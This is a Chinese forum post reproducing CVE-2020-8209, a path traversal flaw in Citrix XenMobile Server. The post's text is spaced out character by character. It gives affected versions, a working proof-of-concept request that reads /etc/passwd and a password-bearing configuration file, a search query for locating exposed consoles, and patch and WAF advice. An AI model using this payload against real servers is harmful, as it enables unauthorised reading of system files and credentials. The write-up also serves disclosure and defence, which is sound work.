搜索

[2038] 2020-11-17_漏洞复现CVE-2020-8209

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-16
2020-11-17_漏洞复现CVE-2020-8209 漏 洞 复 现   C V E - 2 0 2 0 - 8 2 0 9 d o n 9 s e c   2 0 2 0 - 1 1 - 1 7 漏 洞 简 介 漏 洞 简 介                 X e n M o b i l e 是 C i t r i x 开 发 的 企 业 移 动 性 管 理 软 件 。 该 产 品 允 许 企 业 管 理 员 工 的 移 动 设 备 和 移 动 应 用 程 序 。 该 软 件 的 目 的 是 通 过 允 许 员 工 安 全 地 在 企 业 拥 有 的 和 个 人 移 动 设 备 及 应 用 程 序 上 工 作 来 提 高 生 产 率 。                 C V E - 2 0 2 0 - 8 2 0 9 ， 路 径 遍 历 漏 洞 。 此 漏 洞 允 许 未 经 授 权 的 用 户 读 取 任 意 文 件 ， 包 括 包 含 密 码 的 配 置 文 件 。 影 响 范 围 影 响 范 围 漏 洞 复 现 漏 洞 复 现 p o c : 复 现 成 功 ： R P 2 之 前 的 X e n M o b i l e 服 务 器 1 0 . 1 2 R P 4 之 前 的 X e n M o b i l e 服 务 器 1 0 . 1 1 R P 6 之 前 的 X e n M o b i l e 服 务 器 1 0 . 1 0 1 0 . 9   R P 5 之 前 的 X e n M o b i l e 服 务 器 / j s p / h e l p - s b - d o w n l o a d . j s p ? s b F i l e N a m e = . . / . . / . . / e t c / p a s s w d / e t c / p a s s w d / o p t / s a s / s w / c o n f i g / s f t u . p r o p e r t i e s
命 中 率 还 是 挺 高 的 ： 结 果 如 图 ： 修 复 建 议 修 复 建 议 官 方 补 丁 会 删 除 了 / o p t / s a s / s w / t o m c a t / i n s t 1 / w e b a p p s / R O O T / j s p / h e l p - s b - d o w n l o a d . j s p ， 因 此 对 h e l p - s b - d o w n l o a d . j s p 的 所 有 请 求 都 可 以 视 为 非 法 请 求 ， 并 且 应 被 W A F 阻 止 。 建 议 检 查 访 问 日 志 中 是 否 有 以 前 的 请 求 。 参 考 ： a p p = " X e n M o b i l e - 控 制 台 " h t t p s : / / s w a r m . p t s e c u r i t y . c o m / p a t h - t r a v e r s a l - o n - c i t r i x - x e n m o b i l e - s e r v e r /
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理